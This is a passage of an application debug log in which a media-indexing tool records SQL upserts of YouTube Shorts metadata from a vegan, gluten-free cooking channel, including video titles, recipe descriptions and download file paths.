"duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan and gluten free apple cranberry scones are packed full of delicious Fall flavours. These will be your new favourite Fall obsession to have for breakfast or with a coffee anytime in the day. \n\nWatch the full length vegan breakfast recipe video where I prepare 3 cozy Fall breakfast recipes by hitting that play button.\n\nIf you enjoy vegan and gluten free recipes then make sure to subscribe to see more!", "Hi, my name is DELICIOUS 😋 Apple Cranberry Scones 🍎 VEGAN & GLUTEN FREE!", "6107c71d-11db-4b24-a3cc-589e780f3361", 1, [], false, "9heKy0oWTq0", "https://www.youtube.com/shorts/9heKy0oWTq0", 102, "/downloads/downloads/alec/Steamy Vegan/2023-10-18 Hi, my name is DELICIOUS 😋 Apple Cranberry Scones 🍎 VEGAN & GLUTEN FREE!/Hi, my name is DELICIOUS 😋 Apple Cranberry Scones 🍎 VEGAN & GLUTEN FREE! [9heKy0oWTq0].NA", false, false, true, 1, ~U[2023-10-18 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan and gluten free apple cranberry scones are packed full of delicious Fall flavours. These will be your new favourite Fall obsession to have for breakfast or with a coffee anytime in the day. \n\nWatch the full length vegan breakfast recipe video where I prepare 3 cozy Fall breakfast recipes by hitting that play button.\n\nIf you enjoy vegan and gluten free recipes then make sure to subscribe to see more!", "Hi, my name is DELICIOUS 😋 Apple Cranberry Scones 🍎 VEGAN & GLUTEN FREE!", 1, nil, false, "9heKy0oWTq0", "https://www.youtube.com/shorts/9heKy0oWTq0", "/downloads/downloads/alec/Steamy Vegan/2023-10-18 Hi, my name is DELICIOUS 😋 Apple Cranberry Scones 🍎 VEGAN & GLUTEN FREE!/Hi, my name is DELICIOUS 😋 Apple Cranberry Scones 🍎 VEGAN & GLUTEN FREE! [9heKy0oWTq0].NA", true, ~U[2023-10-18 00:00:00Z]] 20:31:09.453 [debug] QUERY OK source="sources" db=0.4ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.456 [debug] QUERY OK source="media_items" db=2.2ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-16 00:00:00Z], 1] 20:31:09.457 [debug] QUERY OK source="media_items" db=1.2ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Chocolate Orange Baked Oats\n3 cups rolled oats\n½ cup oat flour (ground oats in a blender)\n2 tsp baking powder\nPinch of salt\n¼ + 2 tbsp cup cocoa powder\n½ cup chopped walnuts\n½ cup dairy free chocolate chips or sub for cacao nibs, or a mix\n1 cup oat milk\n3 tbsp date paste or 3 tbsp maple syrup\n1 tsp vanilla\n2 flax eggs\nZest of 1 large orange\nFlesh of 1 orange, blended with splash of water\nOptional: extra orange slices for garnish\n\n1. Preheat your oven to 350°F and grab a large casserole dish.\n2. In the casserole dish, add the rolled oats, oat flour, baking powder, salt and sift in the cocoa powder. Whisk together the dry ingredients until they’re well combined.\n3. Prepare the orange zest and juice: Using the smallest grate on a box grater or microplaner, carefully remove the orange zest without getting the bitter white pith beneath it. Add the orange zest into a separate mixing bowl. Next, using a large sharp knife, carefully cut off the top and bottom of the orange and cut away the white pith from the orange, leaving just the juicy flesh inside. Chop the orange flesh into quarters and add it into a blender with ¼ cup of water, then blend until a foamy, pulpy orange juice is made. Pour into the mixing bowl with the zest.\n4. Add the plant milk, date paste/maple syrup, flax eggs and vanilla to the orange and whisk until its a thick, well combined wet mixture.\n5. Pour the wet mixture into the dry mix and using a spatula, stir until it’s very well combined with no dry spots remaining. Then add the chopped walnuts and chocolate chips/cacao bins and stir once again to combine.\n6. Optional step: Slice 1 large (and clean) orange into thin slices, add to a bowl and pour boiling hot water over top, let sit for 3 mins. Drain and arrange the slices overtop of the oatmeal.\n7. Bake for 40 minutes until slightly firm to to touch and a bit crisped around the edges.", "I can’t stop making these baked chocolate oats 🤤", "93542866-ae8b-435d-a67f-d4a7068abfd7", 1, [], false, "H1VD8qi-ch0", "https://www.youtube.com/shorts/H1VD8qi-ch0", 103, "/downloads/downloads/alec/Steamy Vegan/2023-10-16 I can’t stop making these baked chocolate oats 🤤/I can’t stop making these baked chocolate oats 🤤 [H1VD8qi-ch0].NA", false, false, true, 1, ~U[2023-10-16 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Chocolate Orange Baked Oats\n3 cups rolled oats\n½ cup oat flour (ground oats in a blender)\n2 tsp baking powder\nPinch of salt\n¼ + 2 tbsp cup cocoa powder\n½ cup chopped walnuts\n½ cup dairy free chocolate chips or sub for cacao nibs, or a mix\n1 cup oat milk\n3 tbsp date paste or 3 tbsp maple syrup\n1 tsp vanilla\n2 flax eggs\nZest of 1 large orange\nFlesh of 1 orange, blended with splash of water\nOptional: extra orange slices for garnish\n\n1. Preheat your oven to 350°F and grab a large casserole dish.\n2. In the casserole dish, add the rolled oats, oat flour, baking powder, salt and sift in the cocoa powder. Whisk together the dry ingredients until they’re well combined.\n3. Prepare the orange zest and juice: Using the smallest grate on a box grater or microplaner, carefully remove the orange zest without getting the bitter white pith beneath it. Add the orange zest into a separate mixing bowl. Next, using a large sharp knife, carefully cut off the top and bottom of the orange and cut away the white pith from the orange, leaving just the juicy flesh inside. Chop the orange flesh into quarters and add it into a blender with ¼ cup of water, then blend until a foamy, pulpy orange juice is made. Pour into the mixing bowl with the zest.\n4. Add the plant milk, date paste/maple syrup, flax eggs and vanilla to the orange and whisk until its a thick, well combined wet mixture.\n5. Pour the wet mixture into the dry mix and using a spatula, stir until it’s very well combined with no dry spots remaining. Then add the chopped walnuts and chocolate chips/cacao bins and stir once again to combine.\n6. Optional step: Slice 1 large (and clean) orange into thin slices, add to a bowl and pour boiling hot water over top, let sit for 3 mins. Drain and arrange the slices overtop of the oatmeal.\n7. Bake for 40 minutes until slightly firm to to touch and a bit crisped around the edges.", "I can’t stop making these baked chocolate oats 🤤", 1, nil, false, "H1VD8qi-ch0", "https://www.youtube.com/shorts/H1VD8qi-ch0", "/downloads/downloads/alec/Steamy Vegan/2023-10-16 I can’t stop making these baked chocolate oats 🤤/I can’t stop making these baked chocolate oats 🤤 [H1VD8qi-ch0].NA", true, ~U[2023-10-16 00:00:00Z]] 20:31:09.458 [debug] QUERY OK source="sources" db=0.5ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.460 [debug] QUERY OK source="media_items" db=1.8ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-14 00:00:00Z], 1] 20:31:09.461 [debug] QUERY OK source="media_items" db=0.6ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This pumpkin spice granola is the perfect meal prep breakfast recipe or just great as a snack. It's vegan and gluten free and perfect for the Fall season.\n\nCheck out all 3 Fall breakfast recipes that we featured in our latest breakfast vid.\n\nThanks for watching!", "Pumpkin Spice Granola! 🥣 GF and Vegan 🌱", "bc31bed6-ed3e-4cb9-93d2-9b3234233495", 1, [], false, "s89lkYQEPnU", "https://www.youtube.com/shorts/s89lkYQEPnU", 104, "/downloads/downloads/alec/Steamy Vegan/2023-10-14 Pumpkin Spice Granola! 🥣 GF and Vegan 🌱/Pumpkin Spice Granola! 🥣 GF and Vegan 🌱 [s89lkYQEPnU].NA", false, false, true, 1, ~U[2023-10-14 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This pumpkin spice granola is the perfect meal prep breakfast recipe or just great as a snack. It's vegan and gluten free and perfect for the Fall season.\n\nCheck out all 3 Fall breakfast recipes that we featured in our latest breakfast vid.\n\nThanks for watching!", "Pumpkin Spice Granola! 🥣 GF and Vegan 🌱", 1, nil, false, "s89lkYQEPnU", "https://www.youtube.com/shorts/s89lkYQEPnU", "/downloads/downloads/alec/Steamy Vegan/2023-10-14 Pumpkin Spice Granola! 🥣 GF and Vegan 🌱/Pumpkin Spice Granola! 🥣 GF and Vegan 🌱 [s89lkYQEPnU].NA", true, ~U[2023-10-14 00:00:00Z]] 20:31:09.462 [debug] QUERY OK source="sources" db=0.6ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.464 [debug] QUERY OK source="media_items" db=2.4ms idle=4.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-13 00:00:00Z], 1] 20:31:09.466 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These are all the vegan recipes that I ate for breakfast in a week. Each vegan breakfast recipe lasted for 2 to 3 days so they were all meal prep friendly.\n\nCheck out the full recipe video in my latest Fall breakfast recipes video on the channel. Subscribe if you enjoy daily content about vegan and gluten free recipes!", "What I Eat for Breakfast 🍂 Fall Vegan Recipes 🤤", "6b4aeda1-14a5-42ff-8590-ab7d4f92c29c", 1, [], false, "-18LUDmtNEQ", "https://www.youtube.com/shorts/-18LUDmtNEQ", 105, "/downloads/downloads/alec/Steamy Vegan/2023-10-13 What I Eat for Breakfast 🍂 Fall Vegan Recipes 🤤/What I Eat for Breakfast 🍂 Fall Vegan Recipes 🤤 [-18LUDmtNEQ].NA", false, false, true, 1, ~U[2023-10-13 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These are all the vegan recipes that I ate for breakfast in a week. Each vegan breakfast recipe lasted for 2 to 3 days so they were all meal prep friendly.\n\nCheck out the full recipe video in my latest Fall breakfast recipes video on the channel. Subscribe if you enjoy daily content about vegan and gluten free recipes!", "What I Eat for Breakfast 🍂 Fall Vegan Recipes 🤤", 1, nil, false, "-18LUDmtNEQ", "https://www.youtube.com/shorts/-18LUDmtNEQ", "/downloads/downloads/alec/Steamy Vegan/2023-10-13 What I Eat for Breakfast 🍂 Fall Vegan Recipes 🤤/What I Eat for Breakfast 🍂 Fall Vegan Recipes 🤤 [-18LUDmtNEQ].NA", true, ~U[2023-10-13 00:00:00Z]] 20:31:09.467 [debug] QUERY OK source="sources" db=0.8ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.469 [debug] QUERY OK source="media_items" db=2.2ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-12 00:00:00Z], 1] 20:31:09.472 [debug] QUERY OK source="media_items" db=1.0ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It was Canadian Thanksgiving this past weekend and I made a full vegan and gluten free dinner on the channel. The vegan and gluten-free recipes I made were: cornbread stuffing, maple spiced yams, harvard beets, and soy curl turkey. It turned out so delicious and I highly recommend you try out some of these recipes this holiday season!\n\nSubscribe for more vegan and gluten free recipes!", "What I Ate for 🇨🇦 Thanksgiving 🍁 vegan + GF recipes", "48c46c6a-7566-446d-8feb-43cfb90d5916", 1, [], false, "bf2D0FYnrJ0", "https://www.youtube.com/shorts/bf2D0FYnrJ0", 106, "/downloads/downloads/alec/Steamy Vegan/2023-10-12 What I Ate for 🇨🇦 Thanksgiving 🍁 vegan + GF recipes/What I Ate for 🇨🇦 Thanksgiving 🍁 vegan + GF recipes [bf2D0FYnrJ0].NA", false, false, true, 1, ~U[2023-10-12 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "It was Canadian Thanksgiving this past weekend and I made a full vegan and gluten free dinner on the channel. The vegan and gluten-free recipes I made were: cornbread stuffing, maple spiced yams, harvard beets, and soy curl turkey. It turned out so delicious and I highly recommend you try out some of these recipes this holiday season!\n\nSubscribe for more vegan and gluten free recipes!", "What I Ate for 🇨🇦 Thanksgiving 🍁 vegan + GF recipes", 1, nil, false, "bf2D0FYnrJ0", "https://www.youtube.com/shorts/bf2D0FYnrJ0", "/downloads/downloads/alec/Steamy Vegan/2023-10-12 What I Ate for 🇨🇦 Thanksgiving 🍁 vegan + GF recipes/What I Ate for 🇨🇦 Thanksgiving 🍁 vegan + GF recipes [bf2D0FYnrJ0].NA", true, ~U[2023-10-12 00:00:00Z]] 20:31:09.473 [debug] QUERY OK source="sources" db=1.1ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.476 [debug] QUERY OK source="media_items" db=2.1ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-10 00:00:00Z], 1] 20:31:09.478 [debug] QUERY OK source="media_items" db=1.5ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This dumpling stew is vegan, gluten free and the perfect one pot recipe to warm you up on a breezy Fall day. The drop dumpling's are easy to make and overall this dish is relatively inexpensive to make.\n\nSubscribe and check out the full video where I also did a butternut squash soup and a pumpkin curry. I've got Fall recipes coming all month long that are, as always, vegan and gluten free!", "Kabocha Dumpling Stew 🍲 🍃 🎃 Cozy in a Bowl 🥣", "6204a694-c363-46f5-8b41-0176b3ea5316", 1, [], false, "OYdzQu81LV4", "https://www.youtube.com/shorts/OYdzQu81LV4", 107, "/downloads/downloads/alec/Steamy Vegan/2023-10-10 Kabocha Dumpling Stew 🍲 🍃 🎃 Cozy in a Bowl 🥣/Kabocha Dumpling Stew 🍲 🍃 🎃 Cozy in a Bowl 🥣 [OYdzQu81LV4].NA", false, false, true, 1, ~U[2023-10-10 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This dumpling stew is vegan, gluten free and the perfect one pot recipe to warm you up on a breezy Fall day. The drop dumpling's are easy to make and overall this dish is relatively inexpensive to make.\n\nSubscribe and check out the full video where I also did a butternut squash soup and a pumpkin curry. I've got Fall recipes coming all month long that are, as always, vegan and gluten free!", "Kabocha Dumpling Stew 🍲 🍃 🎃 Cozy in a Bowl 🥣", 1, nil, false, "OYdzQu81LV4", "https://www.youtube.com/shorts/OYdzQu81LV4", "/downloads/downloads/alec/Steamy Vegan/2023-10-10 Kabocha Dumpling Stew 🍲 🍃 🎃 Cozy in a Bowl 🥣/Kabocha Dumpling Stew 🍲 🍃 🎃 Cozy in a Bowl 🥣 [OYdzQu81LV4].NA", true, ~U[2023-10-10 00:00:00Z]] 20:31:09.479 [debug] QUERY OK source="sources" db=0.9ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.481 [debug] QUERY OK source="media_items" db=2.0ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-09 00:00:00Z], 1] 20:31:09.483 [debug] QUERY OK source="media_items" db=0.6ms idle=9.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Everyone needs to know how to make this soup 🍜", "5a46e71a-4283-47e9-bc5e-52ea194fb703", 1, [], false, "8jrcRjyj3fs", "https://www.youtube.com/shorts/8jrcRjyj3fs", 108, "/downloads/downloads/alec/Steamy Vegan/2023-10-09 Everyone needs to know how to make this soup 🍜/Everyone needs to know how to make this soup 🍜 [8jrcRjyj3fs].NA", false, false, true, 1, ~U[2023-10-09 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], nil, "Everyone needs to know how to make this soup 🍜", 1, nil, false, "8jrcRjyj3fs", "https://www.youtube.com/shorts/8jrcRjyj3fs", "/downloads/downloads/alec/Steamy Vegan/2023-10-09 Everyone needs to know how to make this soup 🍜/Everyone needs to know how to make this soup 🍜 [8jrcRjyj3fs].NA", true, ~U[2023-10-09 00:00:00Z]] 20:31:09.485 [debug] QUERY OK source="sources" db=1.1ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.487 [debug] QUERY OK source="media_items" db=2.3ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-08 00:00:00Z], 1] 20:31:09.490 [debug] QUERY OK source="media_items" db=1.8ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free pumpkin curry recipe is a cheap, healthy, and totally filling vegan recipe taht's a staple in my household. The sweetness of the pie pumpkin and the spices make it such a cozy and warming dish for the Fall or Winter.\n\nIf you enjoy vegan and gluten free recipes, make sure to subscribe! Thanks so much for watching!", "Pumpkin Curry 🍛 Cozy, spicy, healthy recipe", "ab0930e6-cc41-49e1-b96f-4d8687c21733", 1, [], false, "qjNKjLPHowY", "https://www.youtube.com/shorts/qjNKjLPHowY", 109, "/downloads/downloads/alec/Steamy Vegan/2023-10-08 Pumpkin Curry 🍛 Cozy, spicy, healthy recipe/Pumpkin Curry 🍛 Cozy, spicy, healthy recipe [qjNKjLPHowY].NA", false, false, true, 1, ~U[2023-10-08 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan and gluten free pumpkin curry recipe is a cheap, healthy, and totally filling vegan recipe taht's a staple in my household. The sweetness of the pie pumpkin and the spices make it such a cozy and warming dish for the Fall or Winter.\n\nIf you enjoy vegan and gluten free recipes, make sure to subscribe! Thanks so much for watching!", "Pumpkin Curry 🍛 Cozy, spicy, healthy recipe", 1, nil, false, "qjNKjLPHowY", "https://www.youtube.com/shorts/qjNKjLPHowY", "/downloads/downloads/alec/Steamy Vegan/2023-10-08 Pumpkin Curry 🍛 Cozy, spicy, healthy recipe/Pumpkin Curry 🍛 Cozy, spicy, healthy recipe [qjNKjLPHowY].NA", true, ~U[2023-10-08 00:00:00Z]] 20:31:09.491 [debug] QUERY OK source="sources" db=0.4ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.493 [debug] QUERY OK source="media_items" db=1.8ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-06 00:00:00Z], 1] 20:31:09.494 [debug] QUERY OK source="media_items" db=0.8ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I shop at least once every month at Costco and this is what a typical grocery haul looks like for 2 people on a vegan and gluten free diet. Check out the full grocery haul video for all of my comments on these purchases!\n\nSubscribe if you'd like more vegan and gluten free daily content! Thanks for watching!", "Costco Grocery Haul 🛒VEGAN AND GLUTEN FREE", "0121e3f6-2e13-4451-8ac9-2112b34993f1", 1, [], false, "ILeQ3-MAgjo", "https://www.youtube.com/shorts/ILeQ3-MAgjo", 110, "/downloads/downloads/alec/Steamy Vegan/2023-10-06 Costco Grocery Haul 🛒VEGAN AND GLUTEN FREE/Costco Grocery Haul 🛒VEGAN AND GLUTEN FREE [ILeQ3-MAgjo].NA", false, false, true, 1, ~U[2023-10-06 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I shop at least once every month at Costco and this is what a typical grocery haul looks like for 2 people on a vegan and gluten free diet. Check out the full grocery haul video for all of my comments on these purchases!\n\nSubscribe if you'd like more vegan and gluten free daily content! Thanks for watching!", "Costco Grocery Haul 🛒VEGAN AND GLUTEN FREE", 1, nil, false, "ILeQ3-MAgjo", "https://www.youtube.com/shorts/ILeQ3-MAgjo", "/downloads/downloads/alec/Steamy Vegan/2023-10-06 Costco Grocery Haul 🛒VEGAN AND GLUTEN FREE/Costco Grocery Haul 🛒VEGAN AND GLUTEN FREE [ILeQ3-MAgjo].NA", true, ~U[2023-10-06 00:00:00Z]] 20:31:09.495 [debug] QUERY OK source="sources" db=0.7ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.498 [debug] QUERY OK source="media_items" db=2.5ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-05 00:00:00Z], 1] 20:31:09.507 [debug] QUERY OK source="media_items" db=8.8ms idle=7.1ms INSERT INTO "media_items" AS m0 